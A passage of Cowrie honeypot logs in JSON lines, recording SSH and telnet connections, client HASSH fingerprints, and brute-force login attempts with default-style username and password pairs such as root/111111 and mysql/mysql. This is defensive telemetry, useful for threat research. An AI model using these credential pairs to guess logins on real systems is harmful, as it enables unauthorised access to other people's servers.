16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:16.471077Z","src_ip":"108.179.220.174","session":"6681671788ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blast123","message":"login attempt [root/blast123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:16.547195Z","src_ip":"108.179.220.174","session":"6681671788ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:17.574957Z","src_ip":"108.179.220.174","session":"6681671788ea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:18.535036Z","src_ip":"139.99.74.35","session":"ccc3942228b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:18.538545Z","src_ip":"139.99.74.35","session":"ccc3942228b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40642,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1f318cea6ea","protocol":"ssh","message":"New connection: 160.187.174.22:40642 (159.203.135.109:22) [session: c1f318cea6ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:18.860289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:18.863789Z","src_ip":"160.187.174.22","session":"c1f318cea6ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:19.094277Z","src_ip":"160.187.174.22","session":"c1f318cea6ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":59872,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7be72be0aad","protocol":"ssh","message":"New connection: 91.92.40.153:59872 (10.17.0.5:22) [session: a7be72be0aad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:19.217394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:19.475947Z","src_ip":"91.92.40.153","session":"a7be72be0aad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:19.479885Z","src_ip":"91.92.40.153","session":"a7be72be0aad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:19.813384Z","src_ip":"160.187.174.22","session":"c1f318cea6ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"splunk","password":"splunk","message":"login attempt [splunk/splunk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:20.631405Z","src_ip":"91.92.40.153","session":"a7be72be0aad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:21.048995Z","src_ip":"160.187.174.22","session":"c1f318cea6ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:22.059052Z","src_ip":"91.92.40.153","session":"a7be72be0aad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.75.182","src_port":45290,"dst_ip":"10.17.0.5","dst_port":22,"session":"3220810ababf","protocol":"ssh","message":"New connection: 162.240.75.182:45290 (10.17.0.5:22) [session: 3220810ababf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:23.182137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:23.186011Z","src_ip":"162.240.75.182","session":"3220810ababf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:23.275155Z","src_ip":"162.240.75.182","session":"3220810ababf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XEM!S3cur3#W0rd","message":"login attempt [root/XEM!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:23.548039Z","src_ip":"162.240.75.182","session":"3220810ababf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":36046,"dst_ip":"10.17.0.5","dst_port":22,"session":"bac2c9021ba2","protocol":"ssh","message":"New connection: 91.92.40.153:36046 (10.17.0.5:22) [session: bac2c9021ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:25.095790Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:25.288930Z","src_ip":"91.92.40.153","session":"bac2c9021ba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:25.293865Z","src_ip":"91.92.40.153","session":"bac2c9021ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:25.520105Z","src_ip":"162.240.75.182","session":"3220810ababf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:26.978053Z","src_ip":"91.92.40.153","session":"bac2c9021ba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:28.352737Z","src_ip":"91.92.40.153","session":"bac2c9021ba2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":36050,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e285225baa","protocol":"ssh","message":"New connection: 91.92.40.153:36050 (10.17.0.5:22) [session: c4e285225baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:30.954482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:31.343178Z","src_ip":"91.92.40.153","session":"c4e285225baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:31.346123Z","src_ip":"91.92.40.153","session":"c4e285225baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher123","message":"login attempt [rancher/rancher123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:33.366225Z","src_ip":"91.92.40.153","session":"c4e285225baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:34.732208Z","src_ip":"91.92.40.153","session":"c4e285225baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.11376714706421,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:34.879860Z","src_ip":"170.64.224.25","session":"37dc171c1b4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":47942,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c4762d59efe","protocol":"telnet","message":"New connection: 170.64.224.25:47942 (159.203.135.109:23) [session: 7c4762d59efe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:36.107569Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":54472,"dst_ip":"10.17.0.5","dst_port":22,"session":"59f16a6c3178","protocol":"ssh","message":"New connection: 91.92.40.153:54472 (10.17.0.5:22) [session: 59f16a6c3178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:37.233230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:37.482014Z","src_ip":"91.92.40.153","session":"59f16a6c3178","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:37.485065Z","src_ip":"91.92.40.153","session":"59f16a6c3178","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql","message":"login attempt [mysql/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:38.866250Z","src_ip":"91.92.40.153","session":"59f16a6c3178","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:40.245050Z","src_ip":"91.92.40.153","session":"59f16a6c3178","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.153","src_port":32900,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb9fab5a99dc","protocol":"ssh","message":"New connection: 91.92.40.153:32900 (10.17.0.5:22) [session: eb9fab5a99dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:42.611450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:43.059983Z","src_ip":"91.92.40.153","session":"eb9fab5a99dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:43.062987Z","src_ip":"91.92.40.153","session":"eb9fab5a99dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":50630,"dst_ip":"159.203.135.109","dst_port":22,"session":"8a6ba0de1599","protocol":"ssh","message":"New connection: 160.187.174.22:50630 (159.203.135.109:22) [session: 8a6ba0de1599]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:44.987532Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T00:23:44.993643Z","src_ip":"160.187.174.22","session":"8a6ba0de1599","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert